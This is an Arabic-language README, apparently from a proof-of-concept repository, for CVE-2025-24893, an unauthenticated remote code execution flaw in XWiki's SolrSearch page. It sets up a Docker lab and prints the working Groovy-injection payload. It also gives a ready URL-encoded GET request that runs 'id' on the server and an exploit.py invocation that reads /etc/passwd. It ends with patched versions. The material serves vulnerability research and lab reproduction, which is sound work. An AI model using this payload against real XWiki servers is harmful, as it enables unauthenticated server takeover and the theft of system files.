
استغلال تنفيذ الأوامر عن بُعد دون مصادقة لـ XWiki SolrSearch (CVE-2025-24893) عبر حقن Groovy في معامل النص، مع بيئة مختبرية قائمة على Docker وسكربت إثبات المفهوم (PoC).
Main.SolrSearch مفتوحة للزوار، وفي نفس الوقت يتم تقييم المعامل text المُدخل من المستخدم كصيغة XWiki دون تحقق كافٍ.{{groovy}} في text لتنفيذ أي كود Groovy على الخادم، كما يمكن استدعاء أوامر نظام التشغيل عبر "command".execute(). يمكن استغلال هذه الثغرة بطلب GET واحد فقط دون الحاجة إلى تسجيل دخول أو أي رمز مميز.يستخدم هذا الدليل توزيعة XWiki الرسمية المستقلة مع بيئة تشغيل Java 17 لإنشاء بيئة قابلة للاستغلال.
15.10.1| العنصر | التفاصيل |
|---|---|
| CVE | CVE-2025-24893 |
| المنتج | XWiki Platform |
| الإصدار المتأثر | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| إصدار التصحيح | 15.10.11, 16.4.1 |
| نوع الثغرة | Eval Injection -> Unauthenticated RCE |
| هل يلزم المصادقة؟ | لا |
| التأثير | إمكانية تنفيذ أوامر على الخادم |
Main.SolrSearch متاحًا للزوار.text كصيغة XWiki.groovy قابلاً للتنفيذ.تستخدم هذه البيئة XWiki 15.10.1 وبالتالي تحقق الشروط المذكورة أعلاه.
docker compose up -d --build
عند التشغيل الأول قد يستغرق التثبيت التلقائي بضع دقائق (حوالي 6-7 دقائق).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
عندما تظهر "Status":"healthy" في مخرجات الأمر أعلاه، تكون البيئة قد اكتملت وأصبحت قابلة للاستغلال.
pip install requests
ثبّت الاعتماديات قبل تشغيل exploit.py.
الحمولة الأساسية هي كما يلي:
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
يتم حقن هذه الحمولة في المعامل text وتقييمها في صفحة Main.SolrSearch. ونتيجةً لذلك، يُنفَّذ println("id".execute().text) على الخادم وتنعكس نتيجة تنفيذ الأمر في نص استجابة RSS.
راجع exploit.py لمعرفة سكربت التشغيل الكامل.
python3 exploit.py
بتشغيل كود بايثون أعلاه يمكن إعادة إنتاج PoC. الأمر الافتراضي هو id.
python3 exploit.py -c "cat /etc/passwd"
لتشغيل أمر آخر، مرر الوسيط كما هو موضح أعلاه.
أو يمكن إرسال الطلب عبر الرابط التالي (حمولة تطبع id):
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
لقطة لإرسال id في الاستجابة
عرض ملفات الدليل الحالي
15.10.11 أو أحدث، أو 16.4.1 أو أحدث.SolrSearch.